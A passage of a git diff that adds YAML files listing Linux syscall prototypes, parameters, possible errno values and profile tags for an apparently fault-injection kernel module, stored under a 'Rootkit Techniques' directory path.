EBADF + - EFAULT +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EINTR + - EINVAL + - EIO + - EISDIR + - ENXIO + - EOVERFLOW + - ESPIPE +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/reboot.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/reboot.yml new file mode 100644 index 0000000..8f4ddb9 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/reboot.yml @@ -0,0 +1,8 @@ +proto: int magic1, int magic2, unsigned int cmd, void __user *arg +parms: magic1, magic2, cmd, arg +errors: + - EFAULT + - EINVAL + - EPERM +profiles: + - sys diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/recvfrom.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/recvfrom.yml new file mode 100644 index 0000000..3127913 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/recvfrom.yml @@ -0,0 +1,15 @@ +proto: int fd, void __user *buff, size_t len, unsigned int flags, struct sockaddr __user *addr, int *addr_len +parms: fd, buff, len, flags, addr, addr_len +errors: + - EAGAIN + - EWOULDBLOCK + - EBADF + - ECONNREFUSED + - EFAULT + - EINTR + - EINVAL + - ENOMEM + - ENOTCONN + - ENOTSOCK +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/recvmsg.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/recvmsg.yml new file mode 100644 index 0000000..39ee7d5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/recvmsg.yml @@ -0,0 +1,15 @@ +proto: int fd, struct user_msghdr __user *msg, unsigned int flags +parms: fd, msg, flags +errors: + - EAGAIN + - EWOULDBLOCK + - EBADF + - ECONNREFUSED + - EFAULT + - EINTR + - EINVAL + - ENOMEM + - ENOTCONN + - ENOTSOCK +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rename.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rename.yml new file mode 100644 index 0000000..0aaced0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rename.yml @@ -0,0 +1,23 @@ +proto: const char __user *oldname, const char __user *newname +parms: oldname, newname +errors: + - EACCES + - EBUSY + - EDQUOT + - EFAULT + - EINVAL + - EISDIR + - ELOOP + - EMLINK + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - ENOTEMPTY + - EEXIST + - EPERM + - EROFS + - EXDEV +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/renameat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/renameat.yml new file mode 100644 index 0000000..23b38b3 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/renameat.yml @@ -0,0 +1,24 @@ +proto: int olddfd, const char __user *oldname, int newdfd, const char __user *newname +parms: olddfd, oldname, newdfd, newname +errors: + - EACCES + - EBUSY + - EDQUOT + - EFAULT + - EINVAL + - EISDIR + - ELOOP + - EMLINK + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - ENOTEMPTY + - EEXIST + - EPERM + - EROFS + - EXDEV + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/renameat2.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/renameat2.yml new file mode 100644 index 0000000..109662c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/renameat2.yml @@ -0,0 +1,24 @@ +proto: int olddfd, const char __user *oldname, int newdfd, const char __user *newname, unsigned int flags +parms: olddfd, oldname, newdfd, newname, flags +errors: + - EACCES + - EBUSY + - EDQUOT + - EFAULT + - EINVAL + - EISDIR + - ELOOP + - EMLINK + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - ENOTEMPTY + - EEXIST + - EPERM + - EROFS + - EXDEV + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rmdir.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rmdir.yml new file mode 100644 index 0000000..af48f3f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rmdir.yml @@ -0,0 +1,17 @@ +proto: const char __user *pathname +parms: pathname +errors: + - EACCES + - EFAULT + - EBUSY + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EINVAL + - ENOTEMPTY + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigaction.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigaction.yml new file mode 100644 index 0000000..b3f9b48 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigaction.yml @@ -0,0 +1,7 @@ +proto: int sig, const struct sigaction __user *act, struct sigaction __user *oact, size_t sigsetsize +parms: sig, act, oact, sigsetsize +errors: + - EFAULT + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigpending.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigpending.yml new file mode 100644 index 0000000..2fbf171 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigpending.yml @@ -0,0 +1,6 @@ +proto: sigset_t __user *uset, size_t sigsetsize +parms: uset, sigsetsize +errors: + - EFAULT +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigprocmask.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigprocmask.yml new file mode 100644 index 0000000..f8ca28f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigprocmask.yml @@ -0,0 +1,7 @@ +proto: int how, sigset_t __user *nset, sigset_t __user *oset, size_t sigsetsize +parms: how, nset, oset, sigsetsize +errors: + - EFAULT + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigqueueinfo.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigqueueinfo.yml new file mode 100644 index 0000000..c40e2ac --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigqueueinfo.yml @@ -0,0 +1,9 @@ +proto: pid_t pid, int sig, siginfo_t __user *uinfo +parms: pid, sig, uinfo +errors: + - EAGAIN + - EINVAL + - EPERM + - ESRCH +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigsuspend.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigsuspend.yml new file mode 100644 index 0000000..f034546 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigsuspend.yml @@ -0,0 +1,7 @@ +proto: sigset_t __user *unewset, size_t sigsetsize +parms: unewset, sigsetsize +errors: + - EFAULT + - EINTR +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigtimedwait.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigtimedwait.yml new file mode 100644 index 0000000..761a96f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/rt_sigtimedwait.yml @@ -0,0 +1,8 @@ +proto: const sigset_t __user *uthese, siginfo_t __user *uinfo, const struct timespec __user *uts, size_t sigsetsize +parms: uthese, uinfo, uts, sigsetsize +errors: + - EAGAIN + - EINTR + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_get_priority_max.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_get_priority_max.yml new file mode 100644 index 0000000..b733f21 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_get_priority_max.yml @@ -0,0 +1,7 @@ +proto: int policy +parms: policy +errors: + - EINVAL +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_get_priority_min.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_get_priority_min.yml new file mode 100644 index 0000000..b733f21 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_get_priority_min.yml @@ -0,0 +1,7 @@ +proto: int policy +parms: policy +errors: + - EINVAL +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getaffinity.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getaffinity.yml new file mode 100644 index 0000000..04cdbe5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getaffinity.yml @@ -0,0 +1,10 @@ +proto: pid_t pid, unsigned int len, unsigned long __user *user_mask_ptr +parms: pid, len, user_mask_ptr +errors: + - EFAULT + - EINVAL + - ESRCH + - EPERM +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getattr.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getattr.yml new file mode 100644 index 0000000..8849aa2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getattr.yml @@ -0,0 +1,11 @@ +proto: pid_t pid, struct sched_attr __user *attr, unsigned int size, unsigned int flags +parms: pid, attr, size, flags +errors: + - EINVAL + - ESRCH + - E2BIG + - EBUSY + - EPERM +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getparam.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getparam.yml new file mode 100644 index 0000000..a59e7c1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getparam.yml @@ -0,0 +1,9 @@ +proto: pid_t pid, struct sched_param __user *param +parms: pid, param +errors: + - EINVAL + - EPERM + - ESRCH +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getscheduler.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getscheduler.yml new file mode 100644 index 0000000..655a3b0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_getscheduler.yml @@ -0,0 +1,9 @@ +proto: pid_t pid +parms: pid +errors: + - EINVAL + - EPERM + - ESRCH +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_rr_get_interval.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_rr_get_interval.yml new file mode 100644 index 0000000..cd0e9d8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_rr_get_interval.yml @@ -0,0 +1,10 @@ +proto: pid_t pid, struct timespec __user *interval +parms: pid, interval +errors: + - EFAULT + - EINVAL + - ENOSYS + - ESRCH +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setaffinity.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setaffinity.yml new file mode 100644 index 0000000..04cdbe5 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setaffinity.yml @@ -0,0 +1,10 @@ +proto: pid_t pid, unsigned int len, unsigned long __user *user_mask_ptr +parms: pid, len, user_mask_ptr +errors: + - EFAULT + - EINVAL + - ESRCH + - EPERM +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setattr.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setattr.yml new file mode 100644 index 0000000..5330466 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setattr.yml @@ -0,0 +1,11 @@ +proto: pid_t pid, struct sched_attr __user *attr, unsigned int flags +parms: pid, attr, flags +errors: + - EINVAL + - ESRCH + - E2BIG + - EBUSY + - EPERM +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setparam.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setparam.yml new file mode 100644 index 0000000..a59e7c1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setparam.yml @@ -0,0 +1,9 @@ +proto: pid_t pid, struct sched_param __user *param +parms: pid, param +errors: + - EINVAL + - EPERM + - ESRCH +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setscheduler.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setscheduler.yml new file mode 100644 index 0000000..c8f9f42 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sched_setscheduler.yml @@ -0,0 +1,9 @@ +proto: pid_t pid, int policy, struct sched_param __user *param +parms: pid, policy, param +errors: + - EINVAL + - EPERM + - ESRCH +profiles: + - proc + - sched diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/select.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/select.yml new file mode 100644 index 0000000..447dfa4 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/select.yml @@ -0,0 +1,9 @@ +proto: int n, fd_set __user *inp, fd_set __user *outp, fd_set __user *exp, struct timeval __user *tvp +parms: n, inp, outp, exp, tvp +errors: + - EBADF + - EINTR + - EINVAL + - ENOMEM +profiles: + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semctl.yml new file mode 100644 index 0000000..2ac45d7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semctl.yml @@ -0,0 +1,11 @@ +proto: int semid, int semnum, int cmd, unsigned long arg +parms: semid, semnum, cmd, arg +errors: + - EACCES + - EFAULT + - EIDRM + - EINVAL + - EPERM + - ERANGE +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semget.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semget.yml new file mode 100644 index 0000000..8687133 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semget.yml @@ -0,0 +1,11 @@ +proto: key_t key, int nsems, int semflg +parms: key, nsems, semflg +errors: + - EACCES + - EEXIST + - EINVAL + - ENOENT + - ENOMEM + - ENOSPC +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semop.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semop.yml new file mode 100644 index 0000000..66f6789 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/semop.yml @@ -0,0 +1,15 @@ +proto: int semid, struct sembuf __user *tsops, unsigned nsops +parms: semid, tsops, nsops +errors: + - E2BIG + - EACCES + - EAGAIN + - EFAULT + - EFBIG + - EIDRM + - EINTR + - EINVAL + - ENOMEM + - ERANGE +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sendmsg.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sendmsg.yml new file mode 100644 index 0000000..020750d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sendmsg.yml @@ -0,0 +1,23 @@ +proto: int fd, struct user_msghdr __user *msg, unsigned int flags +parms: fd, msg, flags +errors: + - EACCES + - EAGAIN + - EWOULDBLOCK + - EALREADY + - EBADF + - ECONNRESET + - EDESTADDRREQ + - EFAULT + - EINTR + - EINVAL + - EISCONN + - EMSGSIZE + - ENOBUFS + - ENOMEM + - ENOTCONN + - ENOTSOCK + - EOPNOTSUPP + - EPIPE +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sendto.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sendto.yml new file mode 100644 index 0000000..5a0962e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sendto.yml @@ -0,0 +1,23 @@ +proto: int fd, void __user *buff, size_t len, unsigned int flags, struct sockaddr __user *addr, int addr_len +parms: fd, buff, len, flags, addr, addr_len +errors: + - EACCES + - EAGAIN + - EWOULDBLOCK + - EALREADY + - EBADF + - ECONNRESET + - EDESTADDRREQ + - EFAULT + - EINTR + - EINVAL + - EISCONN + - EMSGSIZE + - ENOBUFS + - ENOMEM + - ENOTCONN + - ENOTSOCK + - EOPNOTSUPP + - EPIPE +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setdomainname.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setdomainname.yml new file mode 100644 index 0000000..79b157c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setdomainname.yml @@ -0,0 +1,10 @@ +proto: char __user *name, int len +parms: name, len +errors: + - EFAULT + - EINVAL + - EPERM +profiles: + - sys + # TODO(ww): Does it make sense to add this to the net profile? + # - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setgid.yml new file mode 100644 index 0000000..9c53f3d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setgid.yml @@ -0,0 +1,5 @@ +proto: gid_t gid +parms: gid +errors: + - EINVAL + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sethostname.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sethostname.yml new file mode 100644 index 0000000..9797229 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sethostname.yml @@ -0,0 +1,11 @@ +proto: char __user *name, int len +parms: name, len +errors: + - EFAULT + - EINVAL + - ENAMETOOLONG + - EPERM +profiles: + - sys + # TODO(ww): Does it make sense to add this to the net profile? + # - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setpgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setpgid.yml new file mode 100644 index 0000000..ebdaf87 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setpgid.yml @@ -0,0 +1,7 @@ +proto: pid_t pid, pid_t pgid +parms: pid, pgid +errors: + - EACCES + - EINVAL + - EPERM + - ESRCH diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setpriority.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setpriority.yml new file mode 100644 index 0000000..f2d89fe --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setpriority.yml @@ -0,0 +1,9 @@ +proto: int which, int who, int niceval +parms: which, who, niceval +errors: + - EINVAL + - ESRCH + - EACCES + - EPERM +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setregid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setregid.yml new file mode 100644 index 0000000..8daf515 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setregid.yml @@ -0,0 +1,6 @@ +proto: gid_t rgid, gid_t egid +parms: rgid, egid +errors: + - EAGAIN + - EINVAL + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setresgid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setresgid.yml new file mode 100644 index 0000000..7f1e31b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setresgid.yml @@ -0,0 +1,6 @@ +proto: gid_t rgid, gid_t egid, gid_t sgid +parms: rgid, egid, sgid +errors: + - EAGAIN + - EINVAL + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setresuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setresuid.yml new file mode 100644 index 0000000..7dc8cf0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setresuid.yml @@ -0,0 +1,6 @@ +proto: uid_t ruid, uid_t euid, uid_t suid +parms: ruid, euid, suid +errors: + - EAGAIN + - EINVAL + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setreuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setreuid.yml new file mode 100644 index 0000000..eba6de0 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setreuid.yml @@ -0,0 +1,6 @@ +proto: uid_t ruid, uid_t euid +parms: ruid, euid +errors: + - EAGAIN + - EINVAL + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setsid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setsid.yml new file mode 100644 index 0000000..04b82f9 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setsid.yml @@ -0,0 +1,3 @@ +proto: void +errors: + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setsockopt.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setsockopt.yml new file mode 100644 index 0000000..601f4b8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setsockopt.yml @@ -0,0 +1,10 @@ +proto: int fd, int level, int optname, char __user *optval, int optlen +parms: fd, level, optname, optval, optlen +errors: + - EBADF + - EFAULT + - EINVAL + - ENOPROTOOPT + - ENOTSOCK +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/settimeofday.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/settimeofday.yml new file mode 100644 index 0000000..0d5d571 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/settimeofday.yml @@ -0,0 +1,8 @@ +proto: struct timeval __user *tv, struct timezone __user *tz +parms: tv, tz +errors: + - EFAULT + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setuid.yml new file mode 100644 index 0000000..ce726eb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setuid.yml @@ -0,0 +1,6 @@ +proto: uid_t uid +parms: uid +errors: + - EAGAIN + - EINVAL + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmat.yml new file mode 100644 index 0000000..fd97d17 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmat.yml @@ -0,0 +1,9 @@ +proto: int shmid, char __user *shmaddr, int shmflg +parms: shmid, shmaddr, shmflg +errors: + - EACCES + - EIDRM + - EINVAL + - ENOMEM +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmctl.yml new file mode 100644 index 0000000..d797123 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmctl.yml @@ -0,0 +1,12 @@ +proto: int shmid, int cmd, struct shmid_ds __user *buf +parms: shmid, cmd, buf +errors: + - EACCES + - EFAULT + - EIDRM + - EINVAL + - ENOMEM + - EOVERFLOW + - EPERM +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmdt.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmdt.yml new file mode 100644 index 0000000..3019ad2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmdt.yml @@ -0,0 +1,6 @@ +proto: char __user *shmaddr +parms: shmaddr +errors: + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmget.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmget.yml new file mode 100644 index 0000000..e8aec44 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmget.yml @@ -0,0 +1,13 @@ +proto: key_t key, size_t size, int shmflg +parms: key, size, shmflg +errors: + - EACCES + - EEXIST + - EINVAL + - ENFILE + - ENOENT + - ENOMEM + - ENOSPC + - EPERM +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shutdown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shutdown.yml new file mode 100644 index 0000000..fd395ba --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shutdown.yml @@ -0,0 +1,9 @@ +proto: int fd, int how +parms: fd, how +errors: + - EBADF + - EINVAL + - ENOTCONN + - ENOTSOCK +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sigaltstack.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sigaltstack.yml new file mode 100644 index 0000000..27f7e1f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sigaltstack.yml @@ -0,0 +1,9 @@ +proto: const stack_t __user *uss, stack_t __user *uoss +parms: uss, uoss +errors: + - EFAULT + - EINVAL + - ENOMEM + - EPERM +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/socket.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/socket.yml new file mode 100644 index 0000000..ab64478 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/socket.yml @@ -0,0 +1,13 @@ +proto: int family, int type, int protocol +parms: family, type, protocol +errors: + - EACCES + - EAFNOSUPPORT + - EINVAL + - EMFILE + - ENFILE + - ENOBUFS + - ENOMEM + - EPROTONOSUPPORT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/socketpair.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/socketpair.yml new file mode 100644 index 0000000..ccbb2ad --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/socketpair.yml @@ -0,0 +1,11 @@ +proto: int family, int type, int protocol, int __user *usockvec +parms: family, type, protocol, usockvec +errors: + - EAFNOSUPPORT + - EFAULT + - EMFILE + - ENFILE + - EOPNOTSUPP + - 